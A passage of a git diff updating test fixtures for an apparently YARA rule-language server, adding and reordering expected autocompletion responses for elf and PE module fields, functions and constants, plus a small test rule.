+1,146 @@ +[ + { + "additionalTextEdits": [ + { + "newText": "import \"elf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "insertText": "address", + "insertTextFormat": 2, + "kind": 5, + "label": "address", + "labelDetails": { + "description": "integer" + } + }, + { + "additionalTextEdits": [ + { + "newText": "import \"elf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "insertText": "flags", + "insertTextFormat": 2, + "kind": 5, + "label": "flags", + "labelDetails": { + "description": "integer" + } + }, + { + "additionalTextEdits": [ + { + "newText": "import \"elf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "insertText": "name", + "insertTextFormat": 2, + "kind": 5, + "label": "name", + "labelDetails": { + "description": "string" + } + }, + { + "additionalTextEdits": [ + { + "newText": "import \"elf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "insertText": "offset", + "insertTextFormat": 2, + "kind": 5, + "label": "offset", + "labelDetails": { + "description": "integer" + } + }, + { + "additionalTextEdits": [ + { + "newText": "import \"elf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "insertText": "size", + "insertTextFormat": 2, + "kind": 5, + "label": "size", + "labelDetails": { + "description": "integer" + } + }, + { + "additionalTextEdits": [ + { + "newText": "import \"elf\"\n", + "range": { + "end": { + "character": 0, + "line": 0 + }, + "start": { + "character": 0, + "line": 0 + } + } + } + ], + "insertText": "type", + "insertTextFormat": 2, + "kind": 5, + "label": "type", + "labelDetails": { + "description": "integer" + } + } +] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion30.yar b/ls/src/tests/testdata/completion30.yar new file mode 100644 index 000000000..c0de74958 --- /dev/null +++ b/ls/src/tests/testdata/completion30.yar @@ -0,0 +1,6 @@ +rule test_with { + condition: + with section = elf.sections[0]: ( + section. + ) +} diff --git a/ls/src/tests/testdata/completion4.response.json b/ls/src/tests/testdata/completion4.response.json index a755aaf33..940465dc2 100644 --- a/ls/src/tests/testdata/completion4.response.json +++ b/ls/src/tests/testdata/completion4.response.json @@ -5,27 +5,27 @@ }, { "kind": 14, - "label": "wide" + "label": "base64" }, { "kind": 14, - "label": "nocase" + "label": "base64wide" }, { "kind": 14, - "label": "private" + "label": "fullword" }, { "kind": 14, - "label": "fullword" + "label": "nocase" }, { "kind": 14, - "label": "base64" + "label": "private" }, { "kind": 14, - "label": "base64wide" + "label": "wide" }, { "kind": 14, diff --git a/ls/src/tests/testdata/completion5.response.json b/ls/src/tests/testdata/completion5.response.json index a755aaf33..940465dc2 100644 --- a/ls/src/tests/testdata/completion5.response.json +++ b/ls/src/tests/testdata/completion5.response.json @@ -5,27 +5,27 @@ }, { "kind": 14, - "label": "wide" + "label": "base64" }, { "kind": 14, - "label": "nocase" + "label": "base64wide" }, { "kind": 14, - "label": "private" + "label": "fullword" }, { "kind": 14, - "label": "fullword" + "label": "nocase" }, { "kind": 14, - "label": "base64" + "label": "private" }, { "kind": 14, - "label": "base64wide" + "label": "wide" }, { "kind": 14, diff --git a/ls/src/tests/testdata/completion6.response.json b/ls/src/tests/testdata/completion6.response.json index 5b46028e2..8f8d9a585 100644 --- a/ls/src/tests/testdata/completion6.response.json +++ b/ls/src/tests/testdata/completion6.response.json @@ -1,29 +1,29 @@ [ { - "insertText": "meta:\n\t", + "insertText": "condition:\n\t", "insertTextMode": 2, "kind": 14, - "label": "meta", + "label": "condition", "labelDetails": { - "description": "Block of meta" + "description": "Block of condition" } }, { - "insertText": "strings:\n\t", + "insertText": "meta:\n\t", "insertTextMode": 2, "kind": 14, - "label": "strings", + "label": "meta", "labelDetails": { - "description": "Block of strings" + "description": "Block of meta" } }, { - "insertText": "condition:\n\t", + "insertText": "strings:\n\t", "insertTextMode": 2, "kind": 14, - "label": "condition", + "label": "strings", "labelDetails": { - "description": "Block of condition" + "description": "Block of strings" } } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion7.response.json b/ls/src/tests/testdata/completion7.response.json index 3400c6dac..b0d5e57b7 100644 --- a/ls/src/tests/testdata/completion7.response.json +++ b/ls/src/tests/testdata/completion7.response.json @@ -1,31 +1,31 @@ [ { - "insertText": "rule ${1:ident} {\n strings:\n $${2:a} = \"${3}\"\n condition:\n $${2:a}${0}\n}", + "insertText": "import \"${1:}\"${0}", "insertTextFormat": 2, "insertTextMode": 2, "kind": 2, - "label": "rule" + "label": "import" }, { - "insertText": "import \"${1:}\"${0}", + "insertText": "include \"${1:}\"${0}", "insertTextFormat": 2, "insertTextMode": 2, "kind": 2, - "label": "import" + "label": "include" }, { - "insertText": "include \"${1:}\"${0}", + "insertText": "rule ${1:ident} {\n strings:\n $${2:a} = \"${3}\"\n condition:\n $${2:a}${0}\n}", "insertTextFormat": 2, "insertTextMode": 2, "kind": 2, - "label": "include" + "label": "rule" }, { "kind": 14, - "label": "private" + "label": "global" }, { "kind": 14, - "label": "global" + "label": "private" } ] \ No newline at end of file diff --git a/ls/src/tests/testdata/completion8.response.json b/ls/src/tests/testdata/completion8.response.json index 7e186ac45..67e5bb061 100644 --- a/ls/src/tests/testdata/completion8.response.json +++ b/ls/src/tests/testdata/completion8.response.json @@ -1,2274 +1,2287 @@ [ { - "insertText": "is_pe", + "documentation": { + "kind": "markdown", + "value": "## `calculate_checksum() -> integer`\n\n Returns the PE checksum, as calculated by YARA.\n\n This is useful for comparing with the checksum appearing in the PE header\n (pe.checksum) in order to verify if the actual checksum matches the one\n in the header." + }, + "insertText": "calculate_checksum()", "insertTextFormat": 2, - "kind": 5, - "label": "is_pe", + "kind": 2, + "label": "calculate_checksum()", "labelDetails": { - "description": "bool" + "description": "func()" } }, { - "insertText": "machine", + "documentation": { + "kind": "markdown", + "value": "## `delayed_import_rva(dll_name: string, func_name: string) -> integer`\n\n Returns the RVA of a delayed import where the DLL name matches\n `dll_name` and the function name matches `func_name`.\n\n Both `dll_name` and `func_name` are case-insensitive." + }, + "insertText": "delayed_import_rva(${1:dll_name}, ${2:func_name})", "insertTextFormat": 2, - "kind": 5, - "label": "machine", + "kind": 2, + "label": "delayed_import_rva(dll_name: string, func_name: string)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "subsystem", + "documentation": { + "kind": "markdown", + "value": "## `delayed_import_rva(dll_name: string, ordinal: integer) -> integer`\n\n Returns the RVA of an import where the DLL name matches\n `dll_name` and the ordinal number is `ordinal`.\n\n `dll_name` is case-insensitive." + }, + "insertText": "delayed_import_rva(${1:dll_name}, ${2:ordinal})", "insertTextFormat": 2, - "kind": 5, - "label": "subsystem", + "kind": 2, + "label": "delayed_import_rva(dll_name: string, ordinal: integer)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "os_version", + "documentation": { + "kind": "markdown", + "value": "## `exports(func_name: regexp) -> bool`\n\n Returns true if the PE file exports a function with a name that matches\n the given regular expression." + }, + "insertText": "exports(${1:func_name})", "insertTextFormat": 2, - "kind": 5, - "label": "os_version", + "kind": 2, + "label": "exports(func_name: regexp)", "labelDetails": { - "description": "struct" + "description": "func()" } }, { - "insertText": "subsystem_version", + "documentation": { + "kind": "markdown", + "value": "## `exports(func_name: string) -> bool`\n\n Returns true if the PE file exports a function with the given name." + }, + "insertText": "exports(${1:func_name})", "insertTextFormat": 2, - "kind": 5, - "label": "subsystem_version", + "kind": 2, + "label": "exports(func_name: string)", "labelDetails": { - "description": "struct" + "description": "func()" } }, { - "insertText": "image_version", + "documentation": { + "kind": "markdown", + "value": "## `exports(ordinal: integer) -> bool`\n\n Returns true if the PE file exports a function with the given ordinal." + }, + "insertText": "exports(${1:ordinal})", "insertTextFormat": 2, - "kind": 5, - "label": "image_version", + "kind": 2, + "label": "exports(ordinal: integer)", "labelDetails": { - "description": "struct" + "description": "func()" } }, { - "insertText": "linker_version", + "documentation": { + "kind": "markdown", + "value": "## `exports_index(func_name: regexp) -> integer`\n\n Returns true if the PE file exports a function with a name that matches\n the given regular expression." + }, + "insertText": "exports_index(${1:func_name})", "insertTextFormat": 2, - "kind": 5, - "label": "linker_version", + "kind": 2, + "label": "exports_index(func_name: regexp)", "labelDetails": { - "description": "struct" + "description": "func()" } }, { - "insertText": "opthdr_magic", + "documentation": { + "kind": "markdown", + "value": "## `exports_index(func_name: string) -> integer`\n\n Returns true if the PE file exports a function with the given name." + }, + "insertText": "exports_index(${1:func_name})", "insertTextFormat": 2, - "kind": 5, - "label": "opthdr_magic", + "kind": 2, + "label": "exports_index(func_name: string)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "characteristics", + "documentation": { + "kind": "markdown", + "value": "## `exports_index(ordinal: integer) -> integer`\n\n Returns true if the PE file exports a function with the given ordinal." + }, + "insertText": "exports_index(${1:ordinal})", "insertTextFormat": 2, - "kind": 5, - "label": "characteristics", + "kind": 2, + "label": "exports_index(ordinal: integer)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "dll_characteristics", + "documentation": { + "kind": "markdown", + "value": "## `imphash() -> string`\n\n Returns the PE import hash.\n\n The import hash represents the MD5 checksum of the PE's import table\n following a normalization process. PE files sharing the same import hash\n import precisely identical functions from the same DLLs. This characteristic\n often signifies file similarity, despite not being byte-for-byte identical.\n For additional details, refer to:\n https://www.mandiant.com/resources/blog/tracking-malware-import-hashing\n\n The resulting hash string is consistently in lowercase." + }, + "insertText": "imphash()", "insertTextFormat": 2, - "kind": 5, - "label": "dll_characteristics", + "kind": 2, + "label": "imphash()", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "timestamp", + "documentation": { + "kind": "markdown", + "value": "## `import_rva(dll_name: string, func_name: string) -> integer`\n\n Returns the RVA of an import where the DLL name matches\n `dll_name` and the function name matches `func_name`.\n\n Both `dll_name` and `func_name` are case-insensitive." + }, + "insertText": "import_rva(${1:dll_name}, ${2:func_name})", "insertTextFormat": 2, - "kind": 5, - "label": "timestamp", + "kind": 2, + "label": "import_rva(dll_name: string, func_name: string)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "image_base", + "documentation": { + "kind": "markdown", + "value": "## `import_rva(dll_name: string, ordinal: integer) -> integer`\n\n Returns the RVA of an import where the DLL name matches\n `dll_name` and the ordinal number is `ordinal`.\n\n `dll_name` is case-insensitive." + }, + "insertText": "import_rva(${1:dll_name}, ${2:ordinal})", "insertTextFormat": 2, - "kind": 5, - "label": "image_base", + "kind": 2, + "label": "import_rva(dll_name: string, ordinal: integer)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "checksum", + "documentation": { + "kind": "markdown", + "value": "## `imports(dll_name: regexp, func_name: regexp) -> integer`\n\n Returns the number of imported functions where the function's name matches\n `func_name` and the DLL name matches `dll_name`.\n\n Both `dll_name` and `func_name` are case-sensitive unless you use the \"/i\"\n modifier in the regexp, as shown in the example below." + }, + "insertText": "imports(${1:dll_name}, ${2:func_name})", "insertTextFormat": 2, - "kind": 5, - "label": "checksum", + "kind": 2, + "label": "imports(dll_name: regexp, func_name: regexp)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "base_of_code", + "documentation": { + "kind": "markdown", + "value": "## `imports(dll_name: string) -> integer`\n\n Returns the number of functions imported by the PE from `dll_name`.\n\n `dll_name` is case-insensitive." + }, + "insertText": "imports(${1:dll_name})", "insertTextFormat": 2, - "kind": 5, - "label": "base_of_code", + "kind": 2, + "label": "imports(dll_name: string)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "base_of_data", + "documentation": { + "kind": "markdown", + "value": "## `imports(dll_name: string, func_name: string) -> bool`\n\n Returns true if the PE imports `func_name` from `dll_name`.\n\n Both `func_name` and `dll_name` are case-insensitive." + }, + "insertText": "imports(${1:dll_name}, ${2:func_name})", "insertTextFormat": 2, - "kind": 5, - "label": "base_of_data", + "kind": 2, + "label": "imports(dll_name: string, func_name: string)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "entry_point", + "documentation": { + "kind": "markdown", + "value": "## `imports(dll_name: string, ordinal: integer) -> integer`\n\n Returns true if the PE imports `ordinal` from `dll_name`.\n\n `dll_name` is case-insensitive." + }, + "insertText": "imports(${1:dll_name}, ${2:ordinal})", "insertTextFormat": 2, - "kind": 5, - "label": "entry_point", + "kind": 2, + "label": "imports(dll_name: string, ordinal: integer)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "entry_point_raw", + "documentation": { + "kind": "markdown", + "value": "## `imports(import_flags: integer, dll_name: regexp, func_name: regexp) -> integer`\n\n Returns the number of imported functions where the function's name matches\n `func_name` and the DLL name matches `dll_name`.\n\n Both `dll_name` and `func_name` are case-sensitive unless you use the \"/i\"\n modifier in the regexp, as shown in the example below. See [`imports_dll`]\n for details about the `import_flags` argument." + }, + "insertText": "imports(${1:import_flags}, ${2:dll_name}, ${3:func_name})", "insertTextFormat": 2, - "kind": 5, - "label": "entry_point_raw", + "kind": 2, + "label": "imports(import_flags: integer, dll_name: regexp, func_name: regexp)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "dll_name", + "documentation": { + "kind": "markdown", + "value": "## `imports(import_flags: integer, dll_name: string) -> integer`\n\n Returns the number of functions imported by the PE from `dll_name`.\n\n `dll_name` is case-insensitive. `import_flags` specify the types of\n import which should be taken into account. This value can be composed\n by a bitwise OR of the following values:\n\n * `pe.IMPORT_STANDARD` : standard import only\n * `pe.IMPORT_DELAYED` : delayed imports only\n * `pe.IMPORT_ANY` : both standard and delayed imports" + }, + "insertText": "imports(${1:import_flags}, ${2:dll_name})", "insertTextFormat": 2, - "kind": 5, - "label": "dll_name", + "kind": 2, + "label": "imports(import_flags: integer, dll_name: string)", "labelDetails": { - "description": "string" + "description": "func()" } }, { - "insertText": "export_timestamp", + "documentation": { + "kind": "markdown", + "value": "## `imports(import_flags: integer, dll_name: string, func_name: string) -> bool`\n\n Returns true if the PE imports `func_name` from `dll_name`.\n\n Both `func_name` and `dll_name` are case-insensitive. See [`imports_dll`]\n for details about the `import_flags` argument." + }, + "insertText": "imports(${1:import_flags}, ${2:dll_name}, ${3:func_name})", "insertTextFormat": 2, - "kind": 5, - "label": "export_timestamp", + "kind": 2, + "label": "imports(import_flags: integer, dll_name: string, func_name: string)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "section_alignment", + "documentation": { + "kind": "markdown", + "value": "## `imports(import_flags: integer, dll_name: string, ordinal: integer) -> bool`\n\n Returns true if the PE imports `ordinal` from `dll_name`.\n\n `dll_name` is case-insensitive. See [`imports_dll`] for details about\n the `import_flags` argument." + }, + "insertText": "imports(${1:import_flags}, ${2:dll_name}, ${3:ordinal})", "insertTextFormat": 2, - "kind": 5, - "label": "section_alignment", + "kind": 2, + "label": "imports(import_flags: integer, dll_name: string, ordinal: integer)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "file_alignment", + "documentation": { + "kind": "markdown", + "value": "## `is_32bit() -> bool`\n\n Returns true if the file is a 32-bit PE." + }, + "insertText": "is_32bit()", "insertTextFormat": 2, - "kind": 5, - "label": "file_alignment", + "kind": 2, + "label": "is_32bit()", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "loader_flags", + "documentation": { + "kind": "markdown", + "value": "## `is_64bit() -> bool`\n\n Returns true if the file is a 64-bit PE." + }, + "insertText": "is_64bit()", "insertTextFormat": 2, - "kind": 5, - "label": "loader_flags", + "kind": 2, + "label": "is_64bit()", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "size_of_optional_header", + "documentation": { + "kind": "markdown", + "value": "## `is_dll() -> bool`\n\n Returns true if the file is dynamic link library (DLL)" + }, + "insertText": "is_dll()", "insertTextFormat": 2, - "kind": 5, - "label": "size_of_optional_header", + "kind": 2, + "label": "is_dll()", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "size_of_code", + "documentation": { + "kind": "markdown", + "value": "## `language(lang: integer) -> bool`\n\n Returns true if the PE contains some resource with the specified language\n identifier.\n\n Language identifiers are the lowest 8-bit of locale identifiers and can\n be found here:\n https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/available-language-packs-for-windows?view=windows-11" + }, + "insertText": "language(${1:lang})", "insertTextFormat": 2, - "kind": 5, - "label": "size_of_code", + "kind": 2, + "label": "language(lang: integer)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "size_of_initialized_data", + "documentation": { + "kind": "markdown", + "value": "## `locale(loc: integer) -> bool`\n\n Returns true if the PE contains some resource with the specified locale\n identifier.\n\n Locale identifiers are 16-bit integers and can be found here:\n https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/available-language-packs-for-windows?view=windows-11" + }, + "insertText": "locale(${1:loc})", "insertTextFormat": 2, - "kind": 5, - "label": "size_of_initialized_data", + "kind": 2, + "label": "locale(loc: integer)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "size_of_uninitialized_data", + "documentation": { + "kind": "markdown", + "value": "## `offset_to_rva(offset: integer) -> integer`\n\n Convert a file offset to a relative virtual address (RVA)." + }, + "insertText": "offset_to_rva(${1:offset})", "insertTextFormat": 2, - "kind": 5, - "label": "size_of_uninitialized_data", + "kind": 2, + "label": "offset_to_rva(offset: integer)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "size_of_image", + "documentation": { + "kind": "markdown", + "value": "## `rva_to_offset(rva: integer) -> integer`\n\n Convert a relative virtual address (RVA) to a file offset." + }, + "insertText": "rva_to_offset(${1:rva})", "insertTextFormat": 2, - "kind": 5, - "label": "size_of_image", + "kind": 2, + "label": "rva_to_offset(rva: integer)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "size_of_headers", + "documentation": { + "kind": "markdown", + "value": "## `section_index(name: string) -> integer`\n\n Returns the index in the section table of the first section with the given\n name." + }, + "insertText": "section_index(${1:name})", "insertTextFormat": 2, - "kind": 5, - "label": "size_of_headers", + "kind": 2, + "label": "section_index(name: string)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "size_of_stack_reserve", + "documentation": { + "kind": "markdown", + "value": "## `section_index(offset: integer) -> integer`\n\n Returns the index in the section table of the first section that contains\n the given file offset." + }, + "insertText": "section_index(${1:offset})", "insertTextFormat": 2, - "kind": 5, - "label": "size_of_stack_reserve", + "kind": 2, + "label": "section_index(offset: integer)", "labelDetails": { - "description": "integer" + "description": "func()" } }, { - "insertText": "size_of_stack_commit", + "insertText": "AGGRESIVE_WS_TRIM", "insertTextFormat": 2, - "kind": 5, - "label": "size_of_stack_commit", + "kind": 21, + "label": "AGGRESIVE_WS_TRIM", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "APPCONTAINER", + "insertTextFormat": 2, + "kind": 21, + "label": "APPCONTAINER", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "BYTES_REVERSED_HI", + "insertTextFormat": 2, + "kind": 21, + "label": "BYTES_REVERSED_HI", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "BYTES_REVERSED_LO", + "insertTextFormat": 2, + "kind": 21, + "label": "BYTES_REVERSED_LO", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "DEBUG_STRIPPED", + "insertTextFormat": 2, + "kind": 21, + "label": "DEBUG_STRIPPED", + "labelDetails": { + "description": "const integer" + } + }, + { + "insertText": "DLL", + "insertTextFormat": 2, + "kind": 21, + "label": "DLL", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "size_of_heap_reserve", + "insertText": "DYNAMIC_BASE", "insertTextFormat": 2, - "kind": 5, - "label": "size_of_heap_reserve", + "kind": 21, + "label": "DYNAMIC_BASE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "size_of_heap_commit", + "insertText": "EXECUTABLE_IMAGE", "insertTextFormat": 2, - "kind": 5, - "label": "size_of_heap_commit", + "kind": 21, + "label": "EXECUTABLE_IMAGE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "pointer_to_symbol_table", + "insertText": "FORCE_INTEGRITY", "insertTextFormat": 2, - "kind": 5, - "label": "pointer_to_symbol_table", + "kind": 21, + "label": "FORCE_INTEGRITY", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "win32_version_value", + "insertText": "GUARD_CF", "insertTextFormat": 2, - "kind": 5, - "label": "win32_version_value", + "kind": 21, + "label": "GUARD_CF", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "number_of_symbols", + "insertText": "HIGH_ENTROPY_VA", "insertTextFormat": 2, - "kind": 5, - "label": "number_of_symbols", + "kind": 21, + "label": "HIGH_ENTROPY_VA", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "number_of_rva_and_sizes", + "insertText": "IMAGE_DIRECTORY_ENTRY_ARCHITECTURE", "insertTextFormat": 2, - "kind": 5, - "label": "number_of_rva_and_sizes", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_ARCHITECTURE", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "number_of_sections", + "insertText": "IMAGE_DIRECTORY_ENTRY_BASERELOC", "insertTextFormat": 2, - "kind": 5, - "label": "number_of_sections", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_BASERELOC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "number_of_imported_functions", + "insertText": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT", "insertTextFormat": 2, - "kind": 5, - "label": "number_of_imported_functions", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "number_of_delayed_imported_functions", + "insertText": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR", "insertTextFormat": 2, - "kind": 5, - "label": "number_of_delayed_imported_functions", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "number_of_resources", + "insertText": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT", "insertTextFormat": 2, - "kind": 5, - "label": "number_of_resources", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "number_of_version_infos", + "insertText": "IMAGE_DIRECTORY_ENTRY_DEBUG", "insertTextFormat": 2, - "kind": 5, - "label": "number_of_version_infos", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_DEBUG", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "number_of_imports", + "insertText": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT", "insertTextFormat": 2, - "kind": 5, - "label": "number_of_imports", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "number_of_delayed_imports", + "insertText": "IMAGE_DIRECTORY_ENTRY_EXCEPTION", "insertTextFormat": 2, - "kind": 5, - "label": "number_of_delayed_imports", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_EXCEPTION", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "number_of_exports", + "insertText": "IMAGE_DIRECTORY_ENTRY_EXPORT", "insertTextFormat": 2, - "kind": 5, - "label": "number_of_exports", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_EXPORT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "number_of_signatures", + "insertText": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR", "insertTextFormat": 2, - "kind": 5, - "label": "number_of_signatures", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "version_info", + "insertText": "IMAGE_DIRECTORY_ENTRY_IAT", "insertTextFormat": 2, - "kind": 5, - "label": "version_info", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_IAT", "labelDetails": { - "description": "map" + "description": "const integer" } }, { - "insertText": "version_info_list[${1}]${2}", + "insertText": "IMAGE_DIRECTORY_ENTRY_IMPORT", "insertTextFormat": 2, - "kind": 5, - "label": "version_info_list", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_IMPORT", "labelDetails": { - "description": "array" + "description": "const integer" } }, { - "insertText": "rich_signature", + "insertText": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG", "insertTextFormat": 2, - "kind": 5, - "label": "rich_signature", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG", "labelDetails": { - "description": "struct" + "description": "const integer" } }, { - "insertText": "pdb_path", + "insertText": "IMAGE_DIRECTORY_ENTRY_RESOURCE", "insertTextFormat": 2, - "kind": 5, - "label": "pdb_path", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_RESOURCE", "labelDetails": { - "description": "string" + "description": "const integer" } }, { - "insertText": "sections[${1}]${2}", + "insertText": "IMAGE_DIRECTORY_ENTRY_SECURITY", "insertTextFormat": 2, - "kind": 5, - "label": "sections", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_SECURITY", "labelDetails": { - "description": "array" + "description": "const integer" } }, { - "insertText": "data_directories[${1}]${2}", + "insertText": "IMAGE_DIRECTORY_ENTRY_TLS", "insertTextFormat": 2, - "kind": 5, - "label": "data_directories", + "kind": 21, + "label": "IMAGE_DIRECTORY_ENTRY_TLS", "labelDetails": { - "description": "array" + "description": "const integer" } }, { - "insertText": "resource_timestamp", + "insertText": "IMAGE_NT_OPTIONAL_HDR32_MAGIC", "insertTextFormat": 2, - "kind": 5, - "label": "resource_timestamp", + "kind": 21, + "label": "IMAGE_NT_OPTIONAL_HDR32_MAGIC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { - "insertText": "resource_version", + "insertText": "IMAGE_NT_OPTIONAL_HDR64_MAGIC", "insertTextFormat": 2, - "kind": 5, - "label": "resource_version", + "kind": 21, + "label": "IMAGE_NT_OPTIONAL_HDR64_MAGIC", "labelDetails": { - "description": "struct" + "description": "const integer" } }, { - "insertText": "resources[${1}]${2}", + "insertText": "IMAGE_ROM_OPTIONAL_HDR_MAGIC", "insertTextFormat": 2, - "kind": 5, - "label": "resources", + "kind": 21, + "label": "IMAGE_ROM_OPTIONAL_HDR_MAGIC", "labelDetails": { - "description": "array" + "description": "const integer" } }, { - "insertText": "import_details[${1}]${2}", + "insertText": "IMPORT_ANY", "insertTextFormat": 2, - "kind": 5, - "label": "import_details", + "kind": 21, + "label": "IMPORT_ANY", "labelDetails": { - "description": "array" + "description": "const integer" } }, { - "insertText": "delayed_import_details[${1}]${2}", + "insertText": "IMPORT_DELAYED", "insertTextFormat": 2, - "kind": 5, - "label": "delayed_import_details", + "kind": 21, + "label": "IMPORT_DELAYED", "labelDetails": { - "description": "array" + "description": "const integer" } }, { - "insertText": "export_details[${1}]${2}", + "insertText": "IMPORT_STANDARD", "insertTextFormat": 2, - "kind": 5, - "label": "export_details", + "kind": 21, + "label": "IMPORT_STANDARD", "labelDetails": { - "description": "array" + "description": "const integer" } }, { - "insertText": "is_signed", + "insertText": "LARGE_ADDRESS_AWARE", "insertTextFormat": 2, - "kind": 5, - "label": "is_signed", + "kind": 21, + "label": "LARGE_ADDRESS_AWARE", "labelDetails": { - "description": "bool" + "description": "const integer" } }, { - "insertText": "signatures[${1}]${2}", + "insertText": "LINE_NUMS_STRIPPED", "insertTextFormat": 2, - "kind": 5, - "label": "signatures", + "kind": 21, + "label": "LINE_NUMS_STRIPPED", "labelDetails": { - "description": "array" + "description": "const integer" } }, { - "insertText": "overlay", + "insertText": "LOCAL_SYMS_STRIPPED", "insertTextFormat": 2, - "kind": 5, - "label": "overlay", + "kind": 21, + "label": "LOCAL_SYMS_STRIPPED", "labelDetails": { - "description": "struct" + "description": "const integer" } }, { - "insertText": "MACHINE_UNKNOWN", + "insertText": "MACHINE_32BIT", "insertTextFormat": 2, - "kind": 5, - "label": "MACHINE_UNKNOWN", + "kind": 21, + "label": "MACHINE_32BIT", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ALPHA", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ALPHA", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ALPHA64", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ALPHA64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_AM33", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_AM33", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_AMD64", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_AMD64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ARM", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ARM", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ARM64", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ARM64", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ARM64EC", "insertTextFormat": 2, - "kind": 5, + "kind": 21, "label": "MACHINE_ARM64EC", "labelDetails": { - "description": "integer" + "description": "const integer" } }, { "insertText": "MACHINE_ARM64X", 